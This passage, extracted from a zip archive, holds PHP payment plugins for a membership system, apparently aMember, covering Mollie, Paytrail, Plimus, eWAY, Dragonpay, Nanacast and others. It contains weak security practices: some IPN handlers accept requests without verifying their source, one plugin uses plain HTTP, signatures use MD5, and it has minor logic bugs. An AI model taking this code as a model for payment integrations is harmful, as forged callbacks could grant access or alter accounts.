!$this->setReturnUrl($returnUrl)) { return false; } $result = $this->sendToHost('www.mollie.nl', '/xml/ideal/', 'a=fetch' . '&partnerid=' . urlencode($this->getPartnerId()) . '&bank_id=' . urlencode($this->getBankId()) . '&amount=' . urlencode($this->getAmount()) . '&reporturl=' . urlencode($this->getReportUrl()) . '&description=' . urlencode($this->getDescription()) . '&returnurl=' . urlencode($this->getReturnUrl())); if (empty($result)) { return false; } list($headers, $xml) = preg_split("/(\r?\n){2}/", $result, 2); try { $data = new SimpleXMLElement($xml); if ($data == false) { return false; } $data = $data->order; $transactionId = $data->transaction_id; $amount = $data->amount; $currency = $data->currency; $bankUrl = html_entity_decode($data->URL); $status = $data->message; /* get an exceptions like -2 This account does not exist or is suspended. */ if (!$status && preg_match('/(.*)<\/message>/i', $result, $matches)) $status = $matches[1]; if (!$this->setStatus($status) || !$this->setTransactionId($transactionId) || !$this->setAmount($amount) || !$this->setCurrency($currency) || !$this->setBankUrl($bankUrl)) { return false; } } catch (Exception $e) { return false; } return true; } /** * Check if the payment was succesfull * * @param integer $transactionId * @return boolean True on succes, false otherwise */ public function checkPayment($transactionId) { // set transaction id if (!$this->setTransactionId($transactionId)) { return false; } // check a payment with mollie $result = $this->sendToHost('www.mollie.nl', '/xml/ideal/', 'a=check' . '&partnerid=' . urlencode($this->getPartnerId()). '&transaction_id=' . urlencode($this->getTransactionId()). ($this->testmode ? '&testmode=true' : '')); if (empty($result)) { return false; } list($headers, $xml) = preg_split("/(\r?\n){2}/", $result, 2); try { $data = new SimpleXMLElement($xml); if ($data == false) { return false; } $data = $data->order; $payed = ($data->payed == 'true'); $consumer = (array)$data->consumer; $amount = $data->amount; $status = $data->message; if (!$status && preg_match('/(.*)<\/message>/i', $result, $matches)) $status = $matches[1]; if (!$this->setStatus($status) || !$this->setPayed($payed) || !$this->setConsumer($consumer) || !$this->setAmount($amount)) { return false; } } catch (Exception $e) { return false; } return true; } /** * Get the URL of the selected bank * * @return null|string Bank URL when exists, else null */ public function getBankUrl() { if (is_null($this->bankUrl)) { return null; } return $this->bankUrl; } /** * Set Bank Url * * @param string $bankUrl * @return boolean */ protected function setBankUrl($bankUrl) { if (!preg_match('|(\w+)://([^/:]+)(:\d+)?/(.*)|', $bankUrl)) { return false; } $this->bankUrl = $bankUrl; return true; } /** * Fetch the currently supported banks * * @static * @param boolean $testmode * @return boolean|array Array of banks, else boolean false */ public function getBanks($testmode) { // Gets/refreshes banks from Mollie $result = self::sendToHost('www.mollie.nl', '/xml/ideal/', 'a=banklist'.($testmode ? '&testmode=true' : '')); if (empty($result)) { return false; } list($headers, $xml) = preg_split("/(\r?\n){2}/", $result, 2); try { $data = new SimpleXMLElement($xml); if ($data == false) { return false; } // build banks-array $banksArray = array(); foreach ($data->bank as $bank) { $banksArray["$bank->bank_id"] = "$bank->bank_name"; } } catch (Exception $e) { return false; } return $banksArray; } /** * Check if the given bankId is valid * * @static * @param integer $bankId * @param boolean $testmode * @return bool True on valid, False otherwise */ public function checkBank($bankId, $testmode) { $banksArray = self::getBanks($testmode); if (!is_array($banksArray)) { return false; } if (array_key_exists($bankId, $banksArray)) { return true; } return false; } /** * Send data to given host * * @param string $host Full webhost Url (like 'www.mollie.nl') * @param string $path Path of script * @param string $data Data to send * @return string */ protected static function sendToHost($host, $path, $data) { // posts data to server $fp = @fsockopen($host, 80); $buf = ''; if ($fp) { @fputs($fp, "POST $path HTTP/1.0\n"); @fputs($fp, "Host: $host\n"); @fputs($fp, "Content-type: application/x-www-form-urlencoded\n"); @fputs($fp, "Content-length: " . strlen($data) . "\n"); @fputs($fp, "Connection: close\n\n"); @fputs($fp, $data); while (!feof($fp)) { $buf .= fgets($fp, 128); } fclose($fp); } return $buf; } /** * Set the Partner Id * * @param integer $partnerId * @return boolean */ protected function setPartnerId($partnerId) { if (!is_numeric($partnerId)) { return false; } $this->partnerId = $partnerId; return true; } /** * Get the Partner Id * * @return integer */ protected function getPartnerId() { return $this->partnerId; } /** * Set transaction amount (price) in cents * * @param integer $amount Minimum amount is the cost of a transaction! * @return boolean */ protected function setAmount($amount) { if (!is_numeric($amount) && $amount < self::MINIMUM_TRANSACTION_AMOUNT ) { return false; } $this->amount = $amount; return true; } /** * Get the Amount (price) in cents * * @return integer */ public function getAmount() { return $this->amount; } /** * Set Currency * * @param string $currency * @return boolean */ protected function setCurrency($currency) { if (empty($currency)) { return false; } $this->currency = $currency; return true; } /** * Get the Currency * * @return string */ protected function getCurrency() { return $this->currency; } /** * Set the Country code * * @param integer $country * @return boolean */ protected function setCountry($country) { if (!is_numeric($country)) { return false; } $this->country = $country; return true; } /** * Get the Country code * * @return integer */ protected function getCountry() { return $this->country; } /** * Set the Url where Mollie reports to if the status of one of our * payments changes * * Mollie adds the 'transaction_id' to this url * * @param string $reportUrl * @return boolean */ protected function setReportUrl($reportUrl) { if (!preg_match('|(\w+)://([^/:]+)(:\d+)?/(.*)|', $reportUrl)) { return false; } $this->reportUrl = $reportUrl; return true; } /** * Get the Report Url * * @return string */ protected function getReportUrl() { return $this->reportUrl; } /** * Set the Url where Mollie returns to when the payment is done * * Mollie add the 'transaction_id' to this url * * @param string $returnUrl * @return boolean */ protected function setReturnUrl($returnUrl) { if (!preg_match('|(\w+)://([^/:]+)(:\d+)?/(.*)|', $returnUrl)) { return false; } $this->returnUrl = $returnUrl; return true; } /** * Get the Return Url * * @return string */ protected function getReturnUrl() { return $this->returnUrl; } /** * Set the Description of the transaction * * If longer than 30 characters, the description will * be trimmed at the 30th character * * @param unknown_type $description * @return unknown */ protected function setDescription($description) { $description = trim($description); if (empty($description)) { return false; } $this->description = substr($description, 0, 29); return true; } /** * Get the transaction Description * * @return string */ protected function getDescription() { return $this->description; } /** * Set Payed status * * @param boolean $payed * @return boolean */ protected function setPayed($payed) { if ($payed === false) { $this->payed = false; return false; } $this->payed = true; return true; } /** * Get the payed status * * @return boolean */ protected function getPayed() { return $this->payed; } /** * Set Status message * * @param string $status * @return boolean */ protected function setStatus($status) { if (empty($status)) { return false; } $this->statusMessage = $status; return true; } /** * Get the Status message * * @return string */ public function getStatus() { return $this->statusMessage; } /** * Set the Bank Id * * The supported Bank Id's can be fetched with the * getBanks($testmode) function * * @see getBanks * @param integer $bankId * @return boolean */ protected function setBankId($bankId) { if (!is_numeric($bankId)) { return false; } $this->bankId = $bankId; return true; } /** * Get the Bank Id * * @return integer */ protected function getBankId() { return $this->bankId; } /** * Set the Transaction Id * * @param integer $transactionId * @return boolean */ protected function setTransactionId($transactionId) { if (empty($transactionId)) { return false; } $this->transactionId = $transactionId; return true; } /** * Get the Transaction Id * * @return integer */ public function getTransactionId() { return $this->transactionId; } /** * Set the Consumer information * * This is information about the bankaccount which payed * the transaction * * The array should have the following elements: *
      *
    • consumerName
    • *
    • consumerAccount
    • *
    • consumerCity
    • *
    * * @param array $consumer * @return boolean */ protected function setConsumer($consumer) { if (!is_array($consumer)) { return false; } $this->consumer = $consumer; return true; } /** * Set testmode * * This is information about the bankaccount which payed * the transaction, and is only available after executing * @see checkPayment() with a 'true' as the result! * * The array should have the following elements: *
      *
    • consumerName
    • *
    • consumerAccount
    • *
    • consumerCity
    • *
    * * @return boolean */ public function setTestMode($testmode) { $this->testmode = $testmode; return true; } /** * Get the Consumer information * * This is information about the bankaccount which payed * the transaction, and is only available after executing * @see checkPayment() with a 'true' as the result! * * The array should have the following elements: *
      *
    • consumerName
    • *
    • consumerAccount
    • *
    • consumerCity
    • *
    * * @return array */ public function getConsumer() { return $this->consumer; } } PK\!1payment/digital-goods-store.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'dgs_code', "Digital Goods Store Product Code" )); } public function getRecurringType() { return self::REPORTS_REBILL; } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { //nop } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // nop. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_DigitalGoodsStore($this, $request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getSiteKey() { return $this->getDi()->security->siteHash($this->getId()); } public function getReadme() { $url = Am_Html::escape($this->getPluginUrl($this->getSiteKey())); return <<$url CUT; } } class Am_Paysystem_Transaction_DigitalGoodsStore extends Am_Paysystem_Transaction_Incoming { protected $notification = null; function init() { $this->notification = json_decode($this->request->getRawBody(), true); } public function generateInvoiceExternalId() { return $this->notification['order']['order_id']; } public function autoCreateGetProducts() { $res = array(); foreach ($this->notification['order']['products'] as $p) { if ($bp = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('dgs_code', $p['code'])) { $res[] = $bp->getProduct(); } } return $res; } function fetchUserInfo() { $order = $this->notification['order']; return array( 'email' => $order['buyers_email'], 'name_f' => $order['buyers_first_name'], 'name_l' => $order['buyers_last_name'], 'country' => $order['buyers_country_code'], 'remote_addr' => $order['buyers_ip_address'] ); } public function getAmount() { return moneyRound($this->notification['order']['amount_total']); } public function getUniqId() { return $this->notification['order']['order_id']; } public function validateSource() { return $this->notification && $this->request->getActionName() == $this->getPlugin()->getSiteKey(); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->notification['type']) { //payment case 'order.placed': case 'subscription.payment': if ((float)$this->invoice->first_total) { $this->invoice->addPayment($this); } else { $this->invoice->addAccessPeriod($this); } break; } } public function findInvoiceId() { return null; } }PK\Hw  payment/paytrail.phpnu[getConfig('merchant') && $this->getConfig('hash'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant') ->setLabel("Merchant ID\n" . 'merchant identification number given by Paytrail'); $form->addPassword('hash') ->setLabel("Merchant Authentication Hash"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $params = array( 'MERCHANT_ID' => $this->getConfig('merchant'), 'AMOUNT' => $invoice->first_total, 'ORDER_NUMBER' => $invoice->public_id, 'REFERENCE_NUMBER' => '', 'ORDER_DESCRIPTION' => $invoice->getLineDescription(), 'CURRENCY' => $invoice->currency, 'RETURN_ADDRESS' => $this->getReturnUrl(), 'CANCEL_ADDRESS' => $this->getCancelUrl(), 'PENDING_ADDRESS' => '', 'NOTIFY_ADDRESS' => $this->getPluginUrl('ipn'), 'TYPE' => 'S1', 'CULTURE' => '', 'PRESELECTED_METHOD' => '', 'MODE' => '1', 'VISIBLE_METHODS' => '', 'GROUP' => '', ); $params['AUTHCODE'] = strtoupper(md5($this->getConfig('hash') . '|' . implode('|', $params))); foreach ($params as $k => $v) { $a->addParam($k, $v); } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paytrail($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Paytrail extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('ORDER_NUMBER'); } public function getUniqId() { return $this->request->get('PAID'); } public function validateSource() { $params = $this->request->getRequestOnlyParams(); $sig = $params['RETURN_AUTHCODE']; unset($params['RETURN_AUTHCODE']); if ($sig != strtoupper(md5(implode('|', $params) . '|' . $this->plugin->getConfig('hash')))) { return false; } return true; } public function validateStatus() { return $this->request->getParam('PAID'); } public function validateTerms() { return true; } }PK\*{nnpayment/plimus.phpnu[addSelect("testing") ->setLabel("test Mode Enabled"); $s->addOption("Live account", self::MODE_LIVE); $s->addOption("Sandbox account", self::MODE_SANDBOX); // $s->addOption("Account in test mode", self::MODE_TEST); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('plimus_contract_id', "Plimus Contract ID", "You must enter the contract id of Plimus product.
    Plimus contract must have the same settings as amember product.")); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form((($this->getConfig('testing')==self::MODE_SANDBOX) ? self::TESTING_URL : self::URL)); $a->contractId = $invoice->getItem(0)->getBillingPlanData("plimus_contract_id"); $a->custom1 = $invoice->public_id; $a->member_id = $invoice->user_id; $a->currency = strtoupper($invoice->currency); $a->firstName = $invoice->getFirstName(); $a->lastName = $invoice->getLastName(); $a->email = $invoice->getEmail(); $a->overridePrice = sprintf("%.2f",$invoice->first_total); $a->overrideRecurringPrice = sprintf("%.2f",$invoice->second_total); if($this->getConfig('testing') == self::MODE_TEST){ $a->testMode=Y; } $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { switch($request->get("transactionType")){ case Am_Paysystem_Transaction_Plimus::CHARGE : case Am_Paysystem_Transaction_Plimus::RECURRING : case Am_Paysystem_Transaction_Plimus::AUTH_ONLY : return new Am_Paysystem_Transaction_Plimus_Charge($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Plimus::CANCELLATION : return new Am_Paysystem_Transaction_Plimus_Cancellation($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Plimus::REFUND : return new Am_Paysystem_Transaction_Plimus_Refund($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Plimus::CANCELLATION_REFUND : return new Am_Paysystem_Transaction_Plimus_Cancellation_Refund($this, $request, $response,$invokeArgs); case Am_Paysystem_Transaction_Plimus::CONTRACT_CHANGE : return new Am_Paysystem_Transaction_Plimus_Contract_Change($this, $request, $response,$invokeArgs); default : return null; } } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme(){ return <<Plimus payment plugin configuration This plugin is deprecated. You need to continue use this plugin only in case you have active recurring subscriptions that began with Plimus. Other way use BlueSnap plugin instead. CUT; } public function canAutoCreate() { return true; } } class Am_Paysystem_Transaction_Plimus extends Am_Paysystem_Transaction_Incoming{ protected $_autoCreateMap = array( 'name_f' => 'firstName', 'name_l' => 'lastName', 'email' => 'email', 'street' => 'address1', 'zip' => 'zipCode', 'state' => 'state', 'country' => 'country', 'city' => 'city', 'user_external_id' => 'accountId', 'invoice_external_id' => 'accountId' , ); const REFUND = 'REFUND'; const CHARGE = 'CHARGE'; const RECURRING = 'RECURRING'; const AUTH_ONLY = 'AUTH_ONLY'; const CANCELLATION_REFUND = 'CANCELLATION_REFUND'; const CANCELLATION = 'CANCELLATION'; const CONTRACT_CHANGE = 'CONTRACT_CHANGE'; protected $ip = array( array('62.216.234.196', '62.216.234.222'), array('72.20.107.242', '72.20.107.250'), array('209.128.93.97', '209.128.93.110'), array('209.128.93.225', '209.128.93.255') ); public function autoCreateGetProducts() { $item_number = $this->request->get('contr_id', $this->request->get('contractId')); if (empty($item_number)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('plimus_contract_id', $item_number); if($billing_plan) return array($billing_plan->getProduct()); } public function findInvoiceId(){ return $this->request->get('custom1'); } public function getUniqId() { return $this->request->get("referenceNumber"); } public function validateSource() { $this->_checkIp($this->ip); if(($this->plugin->getConfig('testing') != Am_Paysystem_Plimus::MODE_TEST) && ($this->request->get('testMode') == 'Y')){ throw new Am_Exception_Paysystem_TransactionInvalid("Received test IPN message but test mode is not enabled!"); } return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Plimus_Charge extends Am_Paysystem_Transaction_Plimus{ public function validateTerms() { $amount = ($this->invoice->currency == 'USD') ? $this->request->get('invoiceAmountUSD') : $this->request->get('invoiceChargeAmount'); $message = $this->request->get('transactionType'); return ($amount == (($message == self::CHARGE) || ($message == self::AUTH_ONLY) ? $this->invoice->first_total : $this->invoice->second_total)); } public function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_Plimus_Cancellation extends Am_Paysystem_Transaction_Plimus{ public function processValidated() { $this->invoice->setCancelled(true); } } class Am_Paysystem_Transaction_Plimus_Refund extends Am_Paysystem_Transaction_Plimus{ public function processValidated() { $this->invoice->addRefund($this, $this->getReceiptId(), $this->getAmount()); } } class Am_Paysystem_Transaction_Plimus_Cancellation_Refund extends Am_Paysystem_Transaction_Plimus{ public function processValidated() { $this->invoice->setCancelled(true); $this->invoice->addRefund($this, $this->getReceiptId(), $this->getAmount()); } } class Am_Paysystem_Transaction_Plimus_Contract_Change extends Am_Paysystem_Transaction_Plimus{ public function processValidated() { throw new Am_Exception_Paysystem_NotImplemented("Not implemented"); } }PK\;0D"D"payment/eway-sp.phpnu[ 'https://payment.ewaygateway.com/Request/', 'AU' => 'https://au.ewaygateway.com/Request/', 'NZ' => 'https://nz.ewaygateway.com/Request/' ); public function supportsCancelPage() { return true; } protected function getUrl() { return $this->requestUrls[$this->getConfig('Country')]; } public function getSupportedCurrencies() { return array('AUD'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('CustomerID', array('size' => 20)) ->setLabel("Customer ID\n" . 'Your eWAY Customer ID') ->addRule('required'); $form->addText('UserName', array('size' => 20)) ->setLabel("User name\n" . 'Your eWAY Customer User Name') ->addRule('required'); $form->addText('PageTitle ', array('class' => 'el-wide')) ->setLabel("Page Title\n" . 'This is value will be displayed as the title of the browser. ' . 'Default: eWAY Hosted Payment Page'); $form->addText('PageDescription', array('class' => 'el-wide')) ->setLabel("Page Description\n" . 'This value will be displayed above the Transaction Details. ' . 'Default: Blank'); $form->addText('PageFooter', array('class' => 'el-wide')) ->setLabel("Page Footer\n" . 'This value will be displayed below the Transaction Details.'); $form->addText('CompanyLogo', array('class' => 'el-wide')) ->setLabel("URL company logo\n" . 'The url of the image can be hosted on the ' . 'merchants website and pass the secure ' . 'https:// path of the image to be displayed ' . 'at the top of the website. This is the top ' . 'image block on the webpage and is ' . 'restricted to 960px X 65px. A default secure ' . 'image is used if none is supplied.'); $form->addText('Pagebanner', array('class' => 'el-wide')) ->setLabel("URL page banner\n" . 'The url of the image can be hosted on the ' . 'merchants website and pass the secure ' . 'https:// path of the image to be displayed ' . 'at the top of the website. This is the second ' . 'image block on the webpage and is ' . 'restricted to 960px X 65px. A default secure ' . 'image is used if none is supplied.'); $form->addAdvCheckbox('ModifiableCustomerDetails') ->setLabel("Modifiable customer cetails\n" . 'This field specifies if the customer can ' . 'change the contact details on the payment ' . 'page This is useful if the merchant is not ' . 'collecting details on their site.'); $form->addSelect("Language", array(), array('options' => array( 'EN' => 'English', 'ES' => 'Spanish', 'FR' => 'French', 'DE' => 'German', 'NL' => 'Dutch' )))->setLabel('Language'); $form->addText('CompanyName', array('class' => 'el-wide')) ->setLabel("Company name\n" . 'This will be displayed as the company the ' . 'customer is purchasing from, including this ' . 'is highly recommended.'); $form->addSelect("Country", array(), array('options' => array( 'UK' => 'United Kingdom', 'AU' => 'Australia', 'NZ' => 'New Zeland' )))->setLabel('Country'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $vars = $this->getConfig(); $vars['Amount'] = $invoice->first_total; $vars['Currency'] = $invoice->currency; $vars['ReturnUrl'] = $this->getPluginUrl('thanks'); $vars['CancelUrl'] = $this->getCancelUrl(); $vars['MerchantInvoice'] = $invoice->public_id; $vars['MerchantReference'] = $invoice->public_id; $vars['CustomerFirstName'] = $invoice->getFirstName(); $vars['CustomerLastName'] = $invoice->getLastName(); $vars['CustomerAddress'] = $invoice->getStreet(); $vars['CustomerCity'] = $invoice->getCity(); $vars['CustomerState'] = $invoice->getState(); $vars['InvoiceDescription'] = $invoice->getLineDescription(); $vars['CustomerCountry'] = $invoice->getCountry(); $vars['CustomerPhone'] = $invoice->getPhone(); $vars['CustomerEmail'] = $invoice->getEmail(); $r = new Am_HttpRequest($this->getUrl() . '?' . http_build_query($vars, '', '&')); $response = $r->send()->getBody(); if (!$response) { $this->getDi()->errorLogTable->log('Plugin eWAY: Got empty response from API server'); $result->setErrorMessages(array(___("An error occurred while handling your payment."))); return; } $xml = simplexml_load_string($response); if (!empty($xml->Error)) { $this->getDi()->errorLogTable->log('Plugin eWAY: Got error from API: ' . (string) $xml->Error); $result->setErrorMessages(array(___("An error occurred while handling your payment."))); return; } $action = new Am_Paysystem_Action_Redirect($xml->URI); $result->setAction($action); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return << 'https://payment.ewaygateway.com/Result/', 'AU' => 'https://au.ewaygateway.com/Result/', 'NZ' => 'https://nz.ewaygateway.com/Result/' ); private $xml_result; protected function getUrl() { return $this->resultUrls[$this->plugin->getConfig('Country')]; } public function process() { $vars = $this->request->getPost(); $vars['CustomerID'] = $this->plugin->getConfig('CustomerID'); $vars['UserName'] = $this->plugin->getConfig('UserName'); $r = new Am_HttpRequest($this->getUrl() . '?' . http_build_query($vars, '', '&')); $response = $r->send()->getBody(); if (!$response) { throw new Am_Exception_Paysystem('Got empty response from API server'); } $xml = simplexml_load_string($response); if (!$xml) { throw new Am_Exception_Paysystem('Got error from API: response is not xml'); } $this->xml_result = $xml; parent::process(); } public function validateSource() { return true; } public function findInvoiceId() { return (string) $this->xml_result->MerchantInvoice; } public function validateStatus() { switch ((string) $this->xml_result->ResponseCode) { case '00': case '08': case 10: case 11: case 16: return true; } } public function getUniqId() { return (string) $this->xml_result->TrxnNumber; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, (string)$this->xml_result->ReturnAmount); return true; } } PK\payment/dragonpay.phpnu[addText('merchant_id') ->setLabel('Your Dragonpay Merchand ID') ->addRule('required'); $form->addPassword('merchant_password') ->setLabel('Your Dragonpay Password') ->addRule('required'); $form->addAdvCheckbox('test_mode') ->setLabel('Test Mode Enabled'); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array('PHP', 'USD'); } public function isConfigured() { return (bool)($this->getConfig('merchant_id') && $this->getConfig('merchant_password')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $vars = array( 'merchantid' => $this->getConfig('merchant_id'), 'txnid' => $invoice->public_id, 'amount' => $invoice->first_total, 'ccy' => $invoice->currency, 'description' => strlen($desc = $invoice->getLineDescription()) > 128 ? substr($desc, 0, 125) . "..." : $desc, 'email' => $invoice->getUser()->email, ); if($invoice->rebill_times) { if ($this->invoice->first_total > 0 && $this->invoice->first_total != $this->invoice->second_total) throw new Am_Exception_InternalError('If product has no free trial first price must be the same second price'); if ($this->invoice->first_total > 0 && $this->invoice->first_period != $this->invoice->second_period) throw new Am_Exception_InternalError('If product has no free trial first period must be the same second period'); $p = new Am_Period($invoice->first_period); switch ($p->getUnit()) { case Am_Period::DAY: $vars['period'] = 'daily'; $vars['frequency'] = $invoice->rebill_times; break; case Am_Period::MONTH: $vars['period'] = 'monthly'; $vars['frequency'] = $invoice->rebill_times; break; case Am_Period::YEAR: $vars['period'] = 'monthly'; $vars['frequency'] = 12 * $invoice->rebill_times; break; default: throw new Am_Exception_Paysystem_NotConfigured("Unable to convert period [$invoice->first_period] to Dragonpay-compatible. Must be number of days, months or years"); } $url = $this->getConfig('test_mode') ? self::URL_RECUR_PAY_TEST : self::URL_RECUR_PAY_LIVE; } else { $url = $this->getConfig('test_mode') ? self::URL_PAY_TEST : self::URL_PAY_LIVE; } $vars['digest'] = $this->getDigest(join(':', $vars)); $this->logRequest($vars); $a = new Am_Paysystem_Action_Redirect($url . "?" . http_build_query($vars, '', '&')); $result->setAction($a); } public function getDigest($str) { $str .= ":" . $this->getConfig('merchant_password'); return strtolower(sha1($str)); } public function thanksAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $log = $this->logRequest($request); try { $transaction = $this->createThanksTransaction($request, $response, $invokeArgs); } catch (Am_Exception_Paysystem_NotImplemented $e) { $this->logError("[thanks] page handling is not implemented for this plugin. Define [createThanksTransaction] method in plugin"); throw $e; } $transaction->setInvoiceLog($log); try { $transaction->process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { // ignore this error, as it happens in "thanks" transaction // we may have received IPN about the payment earlier } catch (Am_Exception_Paysystem_TransactionInvalid $e) { if($request->getFiltered('status') == 'P') { $this->invoice = $this->getDi()->invoiceTable->findFirstByPublickId($transaction->findInvoiceId()); $log->setInvoice($this->invoice)->update(); $response->setRedirect($this->getReturnUrl()); return; } } catch (Exception $e) { throw $e; $this->getDi()->errorLogTable->logException($e); throw Am_Exception_InputError(___("Error happened during transaction handling. Please contact website administrator")); } $log->setInvoice($transaction->getInvoice())->update(); $this->invoice = $transaction->getInvoice(); $response->setRedirect($this->getReturnUrl()); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dragonpay($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dragonpay($this, $request, $response, $invokeArgs); } public function getReadme() { return <<Dragonpay plugin installation 1. Configure plugin at 'aMember CP -> Setup/Configuration -> Dragonpay' 2. Configure your Dragonpay account: - postback URL: %root_url%/payment/dragonpay/ipn - return URL: %root_url%/payment/dragonpay/thanks NOTE 1: Refund and canceling of subscription are not possible via plugin. NOTE 2: If product is recurring - first price must be the same second price. NOTE 3: If product is recurring - first period must be the same second period. CUT; } } class Am_Paysystem_Transaction_Dragonpay extends Am_Paysystem_Transaction_Incoming{ public function getUniqId() { return $this->request->get("refno"); } public function findInvoiceId() { return $this->request->get("txnid"); } public function validateSource() { $calcDigest = $this->getPlugin()->getDigest($this->request->get("txnid") . ":" . $this->request->get("refno") . ":" . $this->request->get("status") . ":" . $this->request->get("message")); return (bool)($calcDigest == $this->request->get("digest")); } public function validateStatus() { return (bool) ($this->request->getFiltered('status') == 'S'); } public function validateTerms() { return true; } }PK\]:payment/nanacast.phpnu[paysystemList->getList() as $k=>$p){ if($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'nanacast_product_id', 'Nanacast Product ID used for Advanced API', '%Your Product/Podcast/RSS Feed/Membership ID%
    (you can find this ID by clicking on "Edit Listing" for your particular Product/Podcast/RSS Feed/Membership. At the top there is a field that says "ID used for Advanced API' )); } public function canAutoCreate() { return true; } public function _initSetupForm(Am_Form_Setup $form) { //does not use for some reason to protect IPN /*$form->addText('api_key') ->setLabel("API Key\n". "your Nanacast API key"); */ } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Nanacast($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return << Setup/Configuration -> Plugins and enable "Nanacast" payment plugin. 2. Go to product setting and set up 'Nanacast Product ID' for each product 3. Set the following url as notification url for all products at your account in Nanacast: %root_url%/payment/nanacast/ipn ------------------------------------------------------------------------------ This plugins works only via background in Amember CUT; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { } } class Am_Paysystem_Transaction_Nanacast extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'u_firstname', 'name_l' => 'u_lastname', 'pass' => 'u_password', 'email' => 'u_email', 'city' => 'u_city', 'state' => 'u_state', 'zip' => 'u_zip', 'country' => 'u_country', 'user_external_id' => 'account_id', ); public function getUniqId() { return $_SERVER['REMOTE_ADDR'] . '-' . $this->getPlugin()->getDi()->time; } public function getReceiptId() { return $_SERVER['REMOTE_ADDR'] . '-' . $this->getPlugin()->getDi()->time; } public function findTime() { return new DateTime($this->request->get('u_start_date')); } public function getAmount() { return moneyRound($this->request->get('u_first_price')); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('mode')) { //payment case 'add': case 'payment': $this->invoice->addPayment($this); break; //delete user case 'delete': $this->getPlugin()->getDi()->userTable->delete($this->invoice->getUser()->login); break; //modify user case 'modify': $user = $this->invoice->getUser(); $user['login'] = $this->request->get('u_username'); $user['pass'] = $this->request->get('u_password'); $user['email'] = $this->request->get('u_email'); $user['name_f'] = $this->request->get('u_firstname'); $user['name_l'] = $this->request->get('u_lastname'); $user['street'] = $this->request->get('u_address') . ' ' . $this->request->get('u_address_2'); $user['city'] = $this->request->get('u_city'); $user['state'] = $this->request->get('u_state'); $user['zip'] = $this->request->get('u_zip'); $user['country'] = $this->request->get('u_country'); $user->update(); break; } } public function fetchUserInfo() { return array_merge(parent::fetchUserInfo(), array( 'street' => $this->request->get('u_address') . ' ' . $this->request->get('u_address_2') )); } public function generateInvoiceExternalId() { return $this->getUniqId(); } public function findInvoiceId() { return $this->generateInvoiceExternalId(); } public function autoCreateGetProducts() { $list_id = $this->request->getFiltered('u_list_id'); if (empty($list_id)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('nanacast_product_id', $list_id); if($billing_plan) return array($billing_plan->getProduct()); } } PK\ payment/bankart.phpnu[ '978', 'USD' => '840'); var $key = array (1416130419, 1696626536, 1864396914, 1868981619, 1931506799, 543580534, 1869967904, 1718773093, 1685024032, 1634624544, 2036692000, 1684369522, 1701013857, 1952784481, 1734964321, 1953066862, 543257189, 544040302, 544696431, 544694638, 1948283489, 1768824951, 1769236591, 1970544756, 1752526436, 1701978209, 1852055660, 1768384628, 1852403303); public function _initSetupForm(Am_Form_Setup $form) { $form->addText('terminal_id', array('size' => 20)) ->setLabel('Terminal Alias'); } function odpakiraj($stringData) { while (strlen($stringData) % 4 != 0) $stringData .= ' '; for ($i = 0, $j = 0; $i < strlen($stringData); 